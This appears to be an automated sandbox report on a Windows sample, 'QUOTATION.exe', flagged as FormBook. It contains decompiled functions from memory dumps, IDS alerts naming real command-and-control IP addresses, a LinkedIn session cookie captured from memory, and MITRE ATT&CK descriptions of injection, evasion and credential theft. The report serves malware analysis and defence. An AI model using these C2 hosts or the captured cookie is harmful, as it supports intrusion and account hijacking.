0x3372049a
0x337204a0
0x337204a3
0x337204a6
0x337204af
0x337204b8
0x337204c2
0x337204cb
0x337204ce
0x337204d2
0x337204d6
0x3372060e
0x33720610
0x33720618
0x00000000
0x00000000
0x337204ef
0x337204ef
0x337204f2
0x337205e3
0x337205ea
0x337205f1
0x337205f1
0x33720501
0x33720501
0x33720504
0x3372050c
0x33720519
0x3372051b
0x00000000
0x3377e99c
0x3377e9a2
0x3377e9ac
0x3372051f
0x3372052a
0x3377e9b9
0x337205cd
0x337205d3
0x337205d3
0x3377e9bf
0x3372053c
0x3372054d
0x33720559
0x33720562
0x3377e9ce
0x3377e9ce
0x3372056a
0x3372057b
0x33720580
0x33720580
0x3372058f
0x33720597
0x33720598
0x3372059d
0x337205a1
0x337205a5
0x337205ad
0x337205b3
0x3377e9dd
0x00000000
0x3377e9ed
0x00000000
0x3377e9ed
0x3377e9dd
0x337205b9
0x337205be
0x337205c7
0x3377e9f2
0x3377e9f2
0x337205c7
0x00000000
0x337205ad
0x00000000
0x3377e9b2
0x3372050c
0x337204fb
0x3377e989
0x3377e990
0x00000000
0x3377e990
0x00000000
0x337204fb
0x337204dc
0x337204e2
0x337205d6
0x337205dc
0x337204e8
0x337204e8
0x337204e8
0x337204ed
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 337205D6

Strings

TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 33720586
kLsE, xrefs: 337205FE

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: DebugPrintTimes
String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode$kLsE
API String ID: 3446177414-2547482624
Opcode ID: daae12e53b74cd30e8ec2c928b5f3aa8919663aef78e91e29a82747f63c5f1d2
Instruction ID: 8047da02ef97dfba7a1ad69f0878090fd0904693aea865f4225ba5346b274a08
Opcode Fuzzy Hash: daae12e53b74cd30e8ec2c928b5f3aa8919663aef78e91e29a82747f63c5f1d2
Instruction Fuzzy Hash: 6A51C0B5A00746DFEB10DFA6C444BAABBF9AF44300F04843ED595CB650EB389545CB72

Uniqueness

Uniqueness Score: -1.00%

Function 3371E67A Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109
timeCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E3371E67A(void* __ecx, intOrPtr* __edx, intOrPtr* _a4, intOrPtr* _a8, char _a12) {
				void* _t29;
				intOrPtr _t31;
				intOrPtr* _t40;
				intOrPtr _t44;
				intOrPtr _t45;
				intOrPtr* _t46;
				void* _t48;
				intOrPtr* _t50;
				intOrPtr _t57;
				intOrPtr _t60;
				char _t63;
				signed int _t66;
				signed int _t67;
				signed int _t71;

				_t65 = __edx;
				_t48 = __ecx;
				_t29 = 3;
				_t63 = 0;
				_t66 =  *(__ecx + 0x36) & 0x0000ffff;
				if( *__edx != _t29) {
					if( *__edx == 4) {
						_t67 = _t66 & 0x00003fff;
						if(_t67 == _t29 || _t67 == 2) {
							_t50 = _a4;
							asm("cdq");
							 *_t50 =  *((intOrPtr*)(_t48 + 0x30));
							 *((intOrPtr*)(_t50 + 4)) = _t63;
							_t31 = E3375FF50(_t65);
							_t63 = 1;
							 *_a8 = _t31;
							_t22 =  &_a12; // 0x3371e65e
							 *((char*)( *_t22)) = 1;
						}
						L7:
						return _t63;
					}
					if((_t66 & 0x00003fff) !=  *__edx) {
						if((_t66 & 0x00003fff) == 0xa &&  *__edx == 7 &&  *((intOrPtr*)(__edx + 0x24)) ==  *((intOrPtr*)( *[fs:0x18] + 0x20))) {
							 *0x338191e0(__edx,  *((intOrPtr*)(__ecx + 0x20)));
							 *_a8 =  *((intOrPtr*)( *((intOrPtr*)(__ecx + 0x1c))))();
							_t28 =  &_a12; // 0x3371e65e
							 *((char*)( *_t28)) = 1;
							L6:
							_t63 = 0;
						}
						goto L7;
					}
					asm("cdq");
					_t57 =  *((intOrPtr*)(__ecx + 0x30));
					 *((intOrPtr*)(__edx + 0x1c)) = 0;
					_t40 = _a4;
					 *((intOrPtr*)(__edx + 0x18)) = _t57;
					 *_t40 = _t57;
					 *((intOrPtr*)(_t40 + 4)) = 0;
					 *0x338191e0(__edx,  *((intOrPtr*)(__ecx + 0x20)));
					 *_a8 =  *((intOrPtr*)( *((intOrPtr*)(__ecx + 0x1c))))();
					L5:
					_t8 =  &_a12; // 0x3371e65e
					 *((char*)( *_t8)) = 1;
					goto L6;
				}
				_t71 = _t66 & 0x00003fff;
				if(_t71 != _t29) {
					if(_t71 == 2) {
						goto L2;
					}
					goto L7;
				}
				L2:
				if( *((intOrPtr*)(_t65 + 0x4e)) < _t63) {
					_t44 =  *0x338141d0; // 0x34105b8
					if(_t44 == 0) {
						goto L3;
					}
					_t17 = _t44 + 0x30; // 0x6c
					_t45 =  *_t17;
					L4:
					asm("cdq");
					_t60 = _t45;
					_t46 = _a4;
					 *_t46 = _t60;
					 *((intOrPtr*)(_t46 + 4)) = _t63;
					 *((intOrPtr*)(_t65 + 0x18)) = _t60;
					 *((intOrPtr*)(_t65 + 0x1c)) = _t63;
					E33720D9F(_t48, _t65);
					goto L5;
				}
				L3:
				_t45 =  *((intOrPtr*)(_t48 + 0x30));
				goto L4;
			}

0x3371e682
0x3371e684
0x3371e688
0x3371e689
0x3371e68b
0x3371e691
0x3371e6d5
0x3377d929
0x3377d932
0x3377d93e
0x3377d944
0x3377d946
0x3377d948
0x3377d94b
0x3377d953
0x3377d955
0x3377d957
0x3377d95a
0x3377d95a
0x3371e6cb
0x3371e6cf
0x3371e6cf
0x3371e6e6
0x3377d968
0x3377d993
0x3377d99e
0x3377d9a0
0x3377d9a3
0x3371e6c7
0x3371e6c7
0x3371e6c7
0x00000000
0x3377d968
0x3371e6ef
0x3371e6f0
0x3371e6f2
0x3371e6f5
0x3371e6f8
0x3371e701
0x3371e706
0x3371e709
0x3371e714
0x3371e6c1
0x3371e6c1
0x3371e6c4
0x00000000
0x3371e6c4
0x3371e693
0x3371e69c
0x3371e71c
0x00000000
0x00000000
0x00000000
0x3371e71e
0x3371e69e
0x3371e6a2
0x3371e720
0x3371e727
0x00000000
0x00000000
0x3371e72d
0x3371e72d
0x3371e6a7
0x3371e6a7
0x3371e6a8
0x3371e6aa
0x3371e6ad
0x3371e6af
0x3371e6b2
0x3371e6b7
0x3371e6bc
0x00000000
0x3371e6bc
0x3371e6a4
0x3371e6a4
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 3371E709

Strings

^q3, xrefs: 3377D957, 3377D9A0, 3371E6C1

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: DebugPrintTimes
String ID: ^q3
API String ID: 3446177414-748782084
Opcode ID: 3c7d4e5ef79328045259807707e70ca4891ca98c66acd452ee3d5925a18f23d9
Instruction ID: ff380a5dab99fcf53c3df24b6a58087fc31fc52839ebec2dc302a4fe1dd169cd
Opcode Fuzzy Hash: 3c7d4e5ef79328045259807707e70ca4891ca98c66acd452ee3d5925a18f23d9
Instruction Fuzzy Hash: 44417FBAA20201DFDB15CF19C4846557BF6FF89750B54806AE808CF760DB35E9A1CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 3371DF21 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 109
timeCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E3371DF21(void* __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v8;
				void* _v36;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				char _v60;
				char _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t48;
				intOrPtr _t49;
				intOrPtr _t50;
				intOrPtr* _t52;
				char _t56;
				void* _t69;
				char _t72;
				void* _t73;
				intOrPtr _t75;
				intOrPtr _t79;
				void* _t82;
				void* _t84;
				intOrPtr _t86;
				void* _t88;
				signed int _t90;
				signed int _t92;
				signed int _t93;

				_t80 = __edx;
				_t92 = (_t90 & 0xfffffff8) - 0x4c;
				_v8 =  *0x3381b370 ^ _t92;
				_t72 = 0;
				_v72 = __edx;
				_t82 = __ecx;
				_t86 =  *((intOrPtr*)(__edx + 0xc8));
				_v68 = _t86;
				E33768F40( &_v60, 0, 0x30);
				_t48 =  *((intOrPtr*)(_t82 + 0x70));
				_t93 = _t92 + 0xc;
				_v76 = _t48;
				_t49 = _t48;
				if(_t49 == 0) {
					_push(5);
					 *((char*)(_t82 + 0x6a)) = 0;
					 *((intOrPtr*)(_t82 + 0x6c)) = 0;
					goto L3;
				} else {
					_t69 = _t49 - 1;
					if(_t69 != 0) {
						if(_t69 == 1) {
							_push(0xa);
							goto L3;
						} else {
							_t56 = 0;
						}
					} else {
						_push(4);
						L3:
						_pop(_t50);
						_v80 = _t50;
						if(_a4 == _t72 && _t86 != 0 && _t50 != 0xa &&  *((char*)(_t82 + 0x6b)) == 1) {
							L33732330(_t50, _t86 + 0x1c);
							_t79 = _v72;
							 *((intOrPtr*)(_t79 + 0x20)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
							 *((intOrPtr*)(_t79 + 0x88)) =  *((intOrPtr*)(_t82 + 0x68));
							 *((intOrPtr*)(_t79 + 0x8c)) =  *((intOrPtr*)(_t82 + 0x6c));
							 *((intOrPtr*)(_t79 + 0x90)) = _v80;
							 *((intOrPtr*)(_t79 + 0x20)) = _t72;
							E337324D0(_t86 + 0x1c);
						}
						_t75 = _v80;
						_t52 =  *((intOrPtr*)(_v72 + 0x20));
						_t80 =  *_t52;
						_v72 =  *((intOrPtr*)(_t52 + 4));
						_v52 =  *((intOrPtr*)(_t82 + 0x68));
						_v60 = 0x30;
						_v56 = _t75;
						_v48 =  *((intOrPtr*)(_t82 + 0x6c));
						asm("movsd");
						_v76 = _t80;
						_v64 = 0x30;
						asm("movsd");
						asm("movsd");
						asm("movsd");
						if(_t80 != 0) {
							 *0x338191e0(_t75, _v72,  &_v64,  &_v60);
							_t72 = _v76();
						}
						_t56 = _t72;
					}
				}
				_pop(_t84);
				_pop(_t88);
				_pop(_t73);
				return E33764B50(_t56, _t73, _v8 ^ _t93, _t80, _t84, _t88);
			}

0x3371df21
0x3371df29
0x3371df33
0x3371df3b
0x3371df40
0x3371df44
0x3371df46
0x3371df52
0x3371df56
0x3371df5b
0x3371df5e
0x3371df61
0x3371df65
0x3371df67
0x3371e058
0x3371e05a
0x3371e05d
0x00000000
0x3371df6d
0x3371df6d
0x3371df70
0x3377d6ea
0x3377d6f3
0x00000000
0x3377d6ec
0x3377d6ec
0x3377d6ec
0x3371df76
0x3371df76
0x3371df78
0x3371df78
0x3371df79
0x3371df80
0x3371e019
0x3371e024
0x3371e02c
0x3371e032
0x3371e03b
0x3371e045
0x3371e04b
0x3371e04e
0x3371e04e
0x3371df8d
0x3371df91
0x3371df94
0x3371df99
0x3371dfa0
0x3371dfab
0x3371dfb3
0x3371dfb7
0x3371dfbb
0x3371dfbc
0x3371dfc0
0x3371dfc8
0x3371dfc9
0x3371dfca
0x3371dfcd
0x3371dfe0
0x3371dfea
0x3371dfea
0x3371dfec
0x3371dfec
0x3371df70
0x3371dff2
0x3371dff3
0x3371dff4
0x3371dfff

APIs

RtlDebugPrintTimes.NTDLL ref: 3371DFE0

Strings

0, xrefs: 3371DFC0
0, xrefs: 3371DFAB

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: DebugPrintTimes
String ID: 0$0
API String ID: 3446177414-203156872
Opcode ID: 75fedd80484cb84956548a3fcdc01d90a68839885f8ae132050a7ac59e7d1d75
Instruction ID: cf5972b0939a889adb3ef0ddedb10a3264e0281c02c640b66e3f1d8e23a40c3e
Opcode Fuzzy Hash: 75fedd80484cb84956548a3fcdc01d90a68839885f8ae132050a7ac59e7d1d75
Instruction Fuzzy Hash: FF4159B6A087019FD300CF28C454A5ABBE9BB8D354F044A2EF988DB201D771EA15CF86

Uniqueness

Uniqueness Score: -1.00%

Function 3371E880 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 55
timeCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E3371E880(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t38;
				intOrPtr _t39;
				intOrPtr* _t42;
				intOrPtr _t49;
				intOrPtr _t52;
				void* _t54;
				intOrPtr _t56;

				_push(0x28);
				E33777C40(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t54 - 0x30)) =  *((intOrPtr*)(_t54 + 8));
				 *((intOrPtr*)(_t54 - 0x24)) =  *((intOrPtr*)(_t54 + 0xc));
				 *((intOrPtr*)(_t54 - 0x20)) =  *((intOrPtr*)(_t54 + 0x10));
				_t42 =  *((intOrPtr*)(_t54 + 0x14));
				 *((intOrPtr*)(_t54 - 0x34)) =  *((intOrPtr*)(_t54 + 0x18));
				_t49 =  *((intOrPtr*)(_t54 + 0x1c));
				 *(_t54 - 4) =  *(_t54 - 4) & 0x00000000;
				E33766510(0x1000, 0x337fbb58);
				 *((intOrPtr*)(_t54 - 0x18)) = _t56;
				_t52 = _t56;
				 *((intOrPtr*)(_t54 - 0x38)) = _t52;
				 *(_t54 - 4) = 0xfffffffe;
				 *((intOrPtr*)(_t54 - 0x28)) = 0x1000;
				_push(_t54 - 0x28);
				_push(_t52);
				_t18 = _t54 - 0x2c; // 0x3371e920
				_push(0);
				_push(_t49);
				_push(_t54 - 0x24);
				_t38 = E33763FE0();
				if(_t38 >= 0) {
					_t20 = _t54 - 0x2c; // 0x3371e920
					_t39 =  *_t20;
					 *((intOrPtr*)( *((intOrPtr*)(_t54 - 0x30)))) = _t39;
					_t23 = _t54 - 0x34; // 0x3371e96d
					 *0x338191e0( *((intOrPtr*)(_t54 - 0x24)),  *((intOrPtr*)(_t54 - 0x20)), _t39, _t49,  *_t23, _t52,  *((intOrPtr*)(_t54 - 0x28)));
					_t38 =  *_t42();
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t54 - 0x10));
				return _t38;
			}

0x3371e880
0x3371e887
0x3371e88f
0x3371e895
0x3371e89b
0x3371e89e
0x3371e8a4
0x3371e8a7
0x3371e8aa
0x3371e8b3
0x3371e8b8
0x3371e8bb
0x3371e8bd
0x3371e8c0
0x3371e8c7
0x3371e8d1
0x3371e8d2
0x3371e8d3
0x3371e8d7
0x3371e8d9
0x3371e8dd
0x3371e8de
0x3371e8e5
0x3371e8e7
0x3371e8e7
0x3371e8ed
0x3371e8f3
0x3371e900
0x3371e906
0x3371e906
0x3371e90e
0x3371e91a

APIs

RtlDebugPrintTimes.NTDLL ref: 3371E900

Strings

q3, xrefs: 3371E8D3, 3371E8E7, 3371E8D6, 3371E8F7
mq3, xrefs: 3371E8F3

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: DebugPrintTimes
String ID: q3$mq3
API String ID: 3446177414-4187345665
Opcode ID: 213b01c4dd4db9cca5e4835170bfa1d13c59811c349aa150667571d5b1298c79
Instruction ID: 4d482646f9bc989f727f3469c6dc6f522b45f3528180ecdbc42c2db26b5f0ae4
Opcode Fuzzy Hash: 213b01c4dd4db9cca5e4835170bfa1d13c59811c349aa150667571d5b1298c79
Instruction Fuzzy Hash: 6311B0B6E01208AFDF11CF98D885ADEBBB9FB4C360F10411AF911B7240D735AA54CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 01662DA8 Relevance: 5.0, Strings: 4, Instructions: 6COMMON

Download Yara Rule

Strings

====, xrefs: 01662DAD
====, xrefs: 01662DA8
====, xrefs: 01662DB7
====, xrefs: 01662DB2

Memory Dump Source

Source File: 00000008.00000002.4282173420.0000000001660000.00000040.00000400.00020000.00000000.sdmp, Offset: 01660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1660000_QUOTATION.jbxd

Yara matches

Similarity

API ID:
String ID: ====$====$====$====
API String ID: 0-1651387046
Opcode ID: 565fb02034b6b63b4206550d0a7f22d032297b3c70780d1b0e6e426b0bcbc36d
Instruction ID: d40db02494ba381acfc834bbaf82e6112637ea193a4918d7d765080006d958af
Opcode Fuzzy Hash: 565fb02034b6b63b4206550d0a7f22d032297b3c70780d1b0e6e426b0bcbc36d
Instruction Fuzzy Hash: 63B009DBC1B0C05718A81F5805E010E04541C55C383745F03C0A4C1EE0E833DCD65C87

Uniqueness

Uniqueness Score: -1.00%

Source: 10.2.help.exe.3d73814.3.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 9.2.explorer.exe.142b3814.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 11.2.firefox.exe.5ce3814.0.unpack	Avira: Label: TR/Patched.Ren.Gen

Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.11.20:49877 -> 199.192.26.35:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.11.20:49877 -> 199.192.26.35:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.11.20:49877 -> 199.192.26.35:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.11.20:49886 -> 34.117.168.233:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.11.20:49886 -> 34.117.168.233:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.11.20:49886 -> 34.117.168.233:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.11.20:49909 -> 2.57.90.16:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.11.20:49909 -> 2.57.90.16:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.11.20:49909 -> 2.57.90.16:80

Source: Joe Sandbox View	ASN Name: HOSTNETNL HOSTNETNL
Source: Joe Sandbox View	ASN Name: DXTL-HKDXTLTseungKwanOServiceHK DXTL-HKDXTLTseungKwanOServiceHK

Source: explorer.exe, 00000009.00000002.8041134967.000000001445C000.00000004.80000000.00040000.00000000.sdmp, help.exe, 0000000A.00000002.8005674246.0000000003F1C000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000000B.00000002.4515549771.0000000005E8C000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: .www.linkedin.comTRUE/TRUE13336872580273675bscookie"v=1&202108181112191ce8ca8a-2c8f-4463-8512-6f2d1ae6da93AQFkN2vVMNQ3mpf7d5Ecg6Jz9iVIQMh2" equals www.linkedin.com (Linkedin)
Source: help.exe, 0000000A.00000002.7996001567.0000000003676000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: .www.linkedin.combscookie/ equals www.linkedin.com (Linkedin)
Source: help.exe, 0000000A.00000002.7996001567.0000000003695000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: .www.linkedin.combscookiev10 equals www.linkedin.com (Linkedin)

Source: QUOTATION.exe	Virustotal: Detection: 28%			Perma Link
Source: QUOTATION.exe	ReversingLabs: Detection: 33%

Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report QUOTATION.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

